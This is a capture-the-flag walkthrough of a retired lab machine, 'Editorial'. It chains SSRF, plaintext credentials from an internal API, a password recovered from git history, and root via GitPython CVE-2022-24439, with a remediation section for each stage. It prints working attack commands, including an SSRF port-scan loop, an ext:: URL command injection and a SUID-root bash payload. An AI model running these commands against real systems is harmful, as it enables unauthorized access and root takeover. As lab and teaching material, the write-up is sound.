← all walkthroughs

Editorial

Linux· Easy· Privilege Escalation
owned
2026-07-06
time to own
3m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a book-publishing web application on port 80 whose cover-image upload form made outbound HTTP requests to any supplied URL, including loopback addresses. By pointing the field at internal ports I discovered an undocumented Flask API on localhost:5000 that returned plaintext developer credentials in its response body.

Those credentials opened an SSH session as the 'dev' user. Inside dev's home directory sat a git repository whose commit history contained the production account password committed in clear text.

Logging in as 'prod' revealed a sudo rule granting that account the right to run a Python cloning script as root. The script used a vulnerable version of GitPython that executes shell commands embedded in 'ext::' git URLs (CVE-2022-24439); supplying a malicious URL caused the script to run my own shell payload as root, yielding full system control.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1EnumerationNetwork port scanning and web application fingerprinting
Mapped exposed services and identified the web application
A full TCP scan of $TARGET confirmed exactly two open ports: SSH on 22 and HTTP on 80. The HTTP service was an nginx-fronted book-publishing application at editorial.htb. Browsing the site revealed an 'Upload a Book' form containing a field for a remote cover-image URL — the entry point for the next stage.
Exact commands 3
Add the discovered vhost to local name resolution.
echo "$TARGET editorial.htb" | sudo tee -a /etc/hosts
Full port scan with service and version detection.
nmap -sV -sC -p- --min-rate 5000 -oN nmap_full.txt $TARGET
Confirm the web app and identify the upload form endpoint.
curl -si http://editorial.htb/ | head -40
2ExploitationServer-Side Request Forgery — SSRF (CWE-918 / T1190)
Abused the cover-image URL field to probe internal services (SSRF)
The cover-image URL field caused the server to fetch any supplied address on my behalf, including http://127.0.0.1:<port>/. Iterating over common ports, port 5000 returned content that differed from the default response — a JSON document listing the routes of an internal Flask API that was completely invisible from the public internet.
POST /upload-cover with bookurl=http://127.0.0.1:5000/ returned a path to a file whose contents were the internal API route listing.
Exact commands 3
Iterate ports; stop at the first internal service that returns a file path instead of the default placeholder.
for port in $(seq 1 10000); do result=$(curl -s -X POST http://editorial.htb/upload-cover -d "bookurl=http://127.0.0.1:${port}/" | grep -oP '/static/uploads/[^"]+'); [ -n "$result" ] && echo "HIT port $port -> $result" && break; done
Confirm port 5000 responds; capture the upload path of the proxied content.
curl -s -X POST http://editorial.htb/upload-cover -d 'bookurl=http://127.0.0.1:5000/' | grep -oP '/static/uploads/[^"]+' | head -1
Retrieve and pretty-print the proxied response — a JSON list of internal API routes.
curl -s http://editorial.htb/<returned_path> | python3 -m json.tool
FixBlock server-side requests to loopback and private network addressesHigh
WeaknessThe cover-image URL field caused the web server to make HTTP requests to any address the user supplied, including 127.0.0.1. This turned the server into a proxy that exposed internal services unreachable from the public internet.
FixBefore making any outbound request, resolve the target hostname and reject any URL whose IP falls within loopback (127.0.0.0/8), RFC-1918 private ranges (10/8, 172.16/12, 192.168/16), or link-local (169.254/16). If the feature only needs to fetch from known external image hosts, use an allowlist of approved domains instead of a blocklist. Additionally, bind the internal Flask API to a UNIX socket or localhost interface that the web application process cannot reach via TCP.
3Credential HarvestingSensitive data exposure via unauthenticated internal API endpoint (CWE-200)
Extracted plaintext developer credentials from the internal API
One of the API routes listed in the response — /api/latest/metadata/messages/authors — returned a JSON object containing the username and password for the 'dev' account in plain text, apparently left as developer scaffolding and never removed before the application was deployed.
API authors endpoint returned dev credentials dev / [REDACTED: recovered credential] in the JSON payload.
Exact commands 2
Fetch the authors endpoint via SSRF; capture the upload path.
curl -s -X POST http://editorial.htb/upload-cover -d 'bookurl=http://127.0.0.1:5000/api/latest/metadata/messages/authors' | grep -oP '/static/uploads/[^"]+' | head -1
Read the proxied JSON; the dev account password appears in clear text.
curl -s http://editorial.htb/<returned_path> | python3 -m json.tool
FixRemove credentials from API responses and require authentication on all internal endpointsCritical
WeaknessAn internal API endpoint returned a plaintext account username and password in its JSON response body, with no authentication required to call it. Any actor able to reach the service — including via SSRF from the public application — could harvest valid credentials instantly.
FixRemove all credential material from API responses immediately. Require authentication (at minimum a secret API key passed in a header) on every internal API route. Apply a network-layer control — firewall rule or binding to a UNIX socket — so the API is inaccessible over TCP from the web application process. Audit all other API endpoints for additional sensitive data exposure.
4Initial AccessValid account — SSH authentication (T1078)
Authenticated over SSH as 'dev' and captured the user flag
The credentials returned by the internal API were valid SSH credentials. I logged in directly as the 'dev' user, whose home directory contained the user flag.
Sshpass -p '[REDACTED: recovered credential]' ssh dev@$TARGET — session opened; user.txt read.
Exact commands 2
Authenticate as dev with the API-harvested credential.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dev@$TARGET
Read the user flag — value: <user.txt>.
cat ~/user.txt
5Lateral MovementCredential discovery in version control history (T1552.001)
Recovered production account credentials from git commit history
The dev home directory contained a git repository for the site's internal applications. Reviewing the full commit history revealed a commit where the 'prod' account's SSH password had been written into a configuration or notes file and then deleted in a subsequent commit — but the credential remained permanently readable in the git object store.
Git log / git show on the apps repository exposed prod password [REDACTED: recovered credential] in a historical diff.
Exact commands 3
From the dev SSH session — list all commits including those that predate credential removal.
cd ~/apps && git log --all --oneline
Inspect the commit that modified credential-related files; the prod password appears in the diff hunk.
git show <commit_hash>
Authenticate as prod using the credential found in git history.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null prod@$TARGET
FixPurge credentials from git history and enforce secret scanning in CIHigh
WeaknessA production account password was committed in plain text to a git repository. Deleting the file in a later commit did not remove the credential — it remained fully readable through 'git show' on the earlier commit hash, permanently embedded in the repository history.
FixImmediately rotate the prod account password. Use 'git filter-repo' (preferred) or BFG Repo Cleaner to rewrite the repository history and physically remove every commit containing the credential; then force-push the rewritten history and invalidate all clones. Going forward, enforce a pre-commit secret-scanning hook (gitleaks or detect-secrets) in every repository's CI pipeline to reject commits containing credential patterns before they are recorded.
6Privilege EscalationGitPython RCE via ext:: URL protocol (CVE-2022-24439) + sudo misconfiguration (T1548.003)
Exploited vulnerable GitPython sudo rule to execute shell commands as root
Running 'sudo -l' as prod showed the account could execute '/usr/bin/python3 /opt/internal_apps/clone_chan' as root. The script passed a caller-supplied repository URL directly to GitPython for cloning. The installed GitPython version was ≤ 3.1.29, which is vulnerable to CVE-2022-24439: a URL of the form 'ext::sh -c <command>@ /dev/null' is interpreted by Git as an instruction to spawn a shell command, running it as the effective user — in this case root. I wrote a payload that installed a SUID-root copy of bash, triggered the exploit, and used the SUID binary to read the root flag.
Sudo -l confirmed clone_chan sudo rule for prod; /tmp/rootbash created as SUID root; root.txt read via /tmp/rootbash -p.
Exact commands 4
From the prod SSH session — confirm the sudo rule for the clone script.
sudo -l
Write the SUID-bash payload to a world-writable directory.
printf '%s\n' '#!/bin/bash' 'cp /bin/bash /tmp/rootbash' 'chown root:root /tmp/rootbash' 'chmod 4755 /tmp/rootbash' > /dev/shm/x.sh && chmod +x /dev/shm/x.sh
Trigger CVE-2022-24439; GitPython passes the ext:: URL to git which executes the payload as root.
echo '[REDACTED: recovered credential]' | sudo -S /usr/bin/python3 /opt/internal_apps/clone_chan 'ext::sh -c /dev/shm/x.sh@ /dev/null'
Execute with effective root privileges via the SUID bash copy; read root.txt — value: <root.txt>.
/tmp/rootbash -p -c 'cat /root/root.txt'
FixUpgrade GitPython, remove the over-privileged sudo rule, and validate repository URLsCritical
WeaknessThe prod account's sudo rule allowed it to run a Python cloning script as root. The script passed caller-controlled input directly to GitPython ≤ 3.1.29, which is vulnerable to CVE-2022-24439: the 'ext::' git URL scheme causes Git to execute arbitrary shell commands, running them as the process owner — root in this case.
FixUpgrade GitPython to version 3.1.30 or later, which disables the ext:: protocol by default. Remove the sudo rule entirely; if automated cloning with elevated file-system access is genuinely needed, run it as a dedicated least-privilege service account via a tightly scoped systemd unit rather than root. Before passing any URL to GitPython, validate that its scheme is exactly 'https' and that the hostname matches an approved allowlist, rejecting anything else.

Exposed services

22/tcp
80/tcp